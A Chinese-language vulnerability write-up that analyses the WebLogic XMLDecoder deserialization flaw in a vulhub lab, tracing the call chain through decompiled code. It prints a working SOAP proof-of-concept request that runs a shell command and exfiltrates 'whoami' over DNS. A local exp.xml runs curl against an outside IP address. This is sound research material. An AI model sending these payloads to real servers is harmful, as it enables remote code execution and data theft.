weblogic_xmldecoder安全问题分析

  • A+
所属分类:安全文章
摘要

这篇文章将会分析weblogic中xmldecoder引发的安全问题,如果发现有错误的地方,希望师傅们斧正。

这篇文章将会分析weblogic中xmldecoder引发的安全问题,如果发现有错误的地方,希望师傅们斧正

0x00 环境搭建

$ cat docker-compose.yml version: '2' services:  weblogic:    image: vulhub/weblogic    ports:      - "8453:8453"      - "7001:7001" 

然后进入容器修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

if [ "${debugFlag}" = "true" ] ; then         JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE"         export JAVA_DEBUG         JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..."         export JAVA_OPTIONS 

找到这个,在前面加上

debugFlag="true" expport debugFlag 

重启一下,然后远程调试使用的idea,我把本地调试的代码打包放到附件里,然后导入library然后remote即可。

0x01 漏洞分析

先看poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:7001/wls-wsat/CoordinatorPortType Content-Type: text/xml Content-Length: 916 Connection: close Cookie: user=TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjg6InJlZ2lzdGVkIjtiOjA7czo3OiJjaGVja2VyIjtPOjI2OiJhcHBcd2ViXGNvbnRyb2xsZXJcUHJvZmlsZSI6NTp7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6MTI6ImZpbGVuYW1lX3RtcCI7czo3NjoidXBsb2FkLzhiMjY2MzEyMTljOGY4ZWNhYzUxYjkzNWNjODdjY2QxL2E3YzNjZTA3NjU4NTQ3Nzc0MWQ5NTFkMTc5YWIwN2RjLnBuZyI7czozOiJleHQiO2k6MTtzOjg6ImZpbGVuYW1lIjtzOjQ5OiJ1cGxvYWQvOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEvc2hlbGwucGhwIjtzOjExOiJ1cGxvYWRfbWVudSI7czozMjoiOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEiO319; hibext_instdsigdipv2=1 Upgrade-Insecure-Requests: 1  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">           <soapenv:Header>             <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">               <java>                 <object class="java.lang.ProcessBuilder">                   <array class="java.lang.String" length="3">                     <void index="0">                       <string>/bin/sh</string>                     </void>                     <void index="1">                       <string>-c</string>                     </void>                     <void index="2">                       <string>ping `whoami`.xxx.xxx</string>                     </void>                   </array>                   <void method="start"/>                 </object>               </java>             </work:WorkContext>           </soapenv:Header>           <soapenv:Body/> </soapenv:Envelope> 

weblogic_xmldecoder安全问题分析

先打上断点看下调用堆栈wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

weblogic_xmldecoder安全问题分析

我们直接从解析处入手

    public NextAction processRequest(Packet var1) {         this.isUseOldFormat = false;         if (var1.getMessage() != null) {             HeaderList var2 = var1.getMessage().getHeaders();             Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);             if (var3 != null) {                 this.readHeaderOld(var3);                 this.isUseOldFormat = true;             }              Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);             if (var4 != null) {                 this.readHeader(var4);             }         }          return super.processRequest(var1);     } 

这个processRequest看起来是个处理xml的函数,在这里调试的时候我发现步入不进xml处理的方法,后来发现本地缺少com.sun.xml.ws这个包,然后我使用maven导入后还是步入不了,虽然不影响我们分析漏洞,但是弄明白怎么处理的对我们理解更有帮助,然后我选择直接看代码

跟进Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);hhhh手动跟进,没法动态跟,直接看代码吧

  @Nullable   public Header get(@NotNull QName name, boolean markAsUnderstood) {       return this.get(name.getNamespaceURI(), name.getLocalPart(), markAsUnderstood);   } 

因为里面有方法的重载,根据传入的参数类型以及个数可以看到是这样实现的,进入跟

    @NotNull     public Iterator<Header> getHeaders(@NotNull final String nsUri, @NotNull final String localName, final boolean markAsUnderstood) {         return new Iterator<Header>() {             int idx = 0;             Header next;              public boolean hasNext() {                 if (this.next == null) {                     this.fetch();                 }                  return this.next != null;             }              public Header next() {                 if (this.next == null) {                     this.fetch();                     if (this.next == null) {                         throw new NoSuchElementException();                     }                 }                  if (markAsUnderstood) {                     assert HeaderList.this.get(this.idx - 1) == this.next;                      HeaderList.this.understood(this.idx - 1);                 }                  Header r = this.next;                 this.next = null;                 return r;             }              private void fetch() {                 while(true) {                     if (this.idx < HeaderList.this.size()) {                         Header h = HeaderList.this.get(this.idx++);                         if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) {                             continue;                         }                          this.next = h;                     }                      return;                 }             }              public void remove() {                 throw new UnsupportedOperationException();             }         };     } 

因为这里没有动态调,逻辑理解可能会有些偏差,根据代码

if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) {                             continue;                         } 

可以分析出这里是获取了header,然后会将这部分代入this.readHeaderOld(var3);处理,跟进

wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextTube.class

weblogic_xmldecoder安全问题分析

这里将缓冲区中的剩余内容读取出来,跟入new WorkContextXmlInputAdapter

    public WorkContextXmlInputAdapter(InputStream var1) {         this.xmlDecoder = new XMLDecoder(var1);     } 

实例化了XMLDecoder对象,然后var6为实例化的WorkContextXmlInputAdapter对象

继续跟入this.receive(var6)

    protected void receive(WorkContextInput var1) throws IOException {         WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();         var2.receiveRequest(var1);     } 

继续跟

    public void receiveRequest(WorkContextInput var1) throws IOException {         ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);     } 

继续跟wlserver_10.3/server/lib/wlclient.jar!/weblogic/workarea/WorkContextLocalMap.class

    public void receiveRequest(WorkContextInput var1) throws IOException {         while(true) {             try {                 WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);                 if (var2 == WorkContextEntry.NULL_CONTEXT) {                     return;                 }                  String var3 = var2.getName();                 this.map.put(var3, var2);                 if (debugWorkContext.isDebugEnabled()) {                     debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");                 }             } catch (ClassNotFoundException var4) {                 if (debugWorkContext.isDebugEnabled()) {                     debugWorkContext.debug("receiveRequest : ", var4);                 }             }         }     } 

这里在readEntry(var1)对数据进行处理,往下走可以看到

    public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {         String var1 = var0.readUTF();         return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));     } 

看到了readUTF(),也就是一开始打断点的地方,跟入到

    public String readUTF() throws IOException {         return (String)this.xmlDecoder.readObject();     } 

这里我们知道$this->xmlDecoderXMLDecoder的对象,这里看一下poc是怎么执行的呢

本地写段简单的代码来理解一下

import java.io.*; import java.beans.XMLDecoder; public class test{     public static String cmd;     public static void main(String args[]) throws Exception{      File file = new File("/Users/p0desta/Desktop/code/test/src/exp.xml");     XMLDecoder xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));     System.out.println(new FileInputStream(file));     System.out.println(new BufferedInputStream(new FileInputStream(file)));     xd.readObject();     } } 

Exp.xml中的内容为

<java>     <object class="java.lang.ProcessBuilder">         <array class="java.lang.String" length="3">             <void index="0">                 <string>/bin/sh</string>             </void>             <void index="1">                 <string>-c</string>             </void>             <void index="2">                 <string>curl http://114.116.44.126/public/?a=a</string>             </void>         </array>         <void method="start"/>     </object> </java> 

跟入readObject看看实现的什么

    public Object readObject() {         return (parsingComplete())                 ? this.array[this.index++]                 : null;     } 

跟进parsingComplete

  private boolean parsingComplete() {       if (this.input == null) {           return false;       }       if (this.array == null) {           if ((this.acc == null) && (null != System.getSecurityManager())) {               throw new SecurityException("AccessControlContext is not set");           }           AccessController.doPrivileged(new PrivilegedAction<Void>() {               public Void run() {                   XMLDecoder.this.handler.parse(XMLDecoder.this.input);                   return null;               }           }, this.acc);           this.array = this.handler.getObjects();       }       return true;   } 

weblogic_xmldecoder安全问题分析

可以看到是调用DocumentHandler.parse来处理输入,跟进看一下

    public void parse(final InputSource var1) {         if (this.acc == null && null != System.getSecurityManager()) {             throw new SecurityException("AccessControlContext is not set");         } else {             AccessControlContext var2 = AccessController.getContext();             SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {                 public Void run() {                     try {                         SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);                     } catch (ParserConfigurationException var3) {                         DocumentHandler.this.handleException(var3);                     } catch (SAXException var4) {                         Object var2 = var4.getException();                         if (var2 == null) {                             var2 = var4;                         }                         DocumentHandler.this.handleException((Exception)var2);                     } catch (IOException var5) {                         DocumentHandler.this.handleException(var5);                     }                      return null;                 }             }, var2, this.acc);         }     } 

然后传进来的var1继续进入SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);

    public void parse(InputSource is, DefaultHandler dh)         throws SAXException, IOException {         if (is == null) {             throw new IllegalArgumentException();         }         if (dh != null) {             xmlReader.setContentHandler(dh);             xmlReader.setEntityResolver(dh);             xmlReader.setErrorHandler(dh);             xmlReader.setDTDHandler(dh);             xmlReader.setDocumentHandler(null);         }         xmlReader.parse(is);     } 

重点关注xmlReader.parse(is);

        public void parse(InputSource inputSource)             throws SAXException, IOException {             if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {                 if (fSAXParser.fSchemaValidationManager != null) {                     fSAXParser.fSchemaValidationManager.reset();                     fSAXParser.fUnparsedEntityHandler.reset();                 }                 resetSchemaValidator();             }             super.parse(inputSource);         } 

继续跟入父类的parse方法,往下走可以看到一系列处理xml的代码

weblogic_xmldecoder安全问题分析

跟到/rt.jar!/com/sun/beans/decoder/ElementHandler.class

    public void endElement() {         ValueObject var1 = this.getValueObject();         if (!var1.isVoid()) {             if (this.id != null) {                 this.owner.setVariable(this.id, var1.getValue());             }              if (this.isArgument()) {                 if (this.parent != null) {                     this.parent.addArgument(var1.getValue());                 } else {                     this.owner.addObject(var1.getValue());                 }             }         }     } 

weblogic_xmldecoder安全问题分析

在往下跟,会发现构造的poc里面的恶意字符会拼接起来

weblogic_xmldecoder安全问题分析

继续跟

weblogic_xmldecoder安全问题分析

跟到这里的时候var5.getValue里面有东西

    public Object getValue() throws Exception {         if (value == unbound) {             setValue(invoke());         }         return value;     } 

反射调用了,整个调用链就是这样。

0x02 参考

https://blog.csdn.net/SKI_12/article/details/85058040 http://whip1ash.cn/2018/10/21/weblogic-deserialization/ https://xz.aliyun.com/t/5046 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: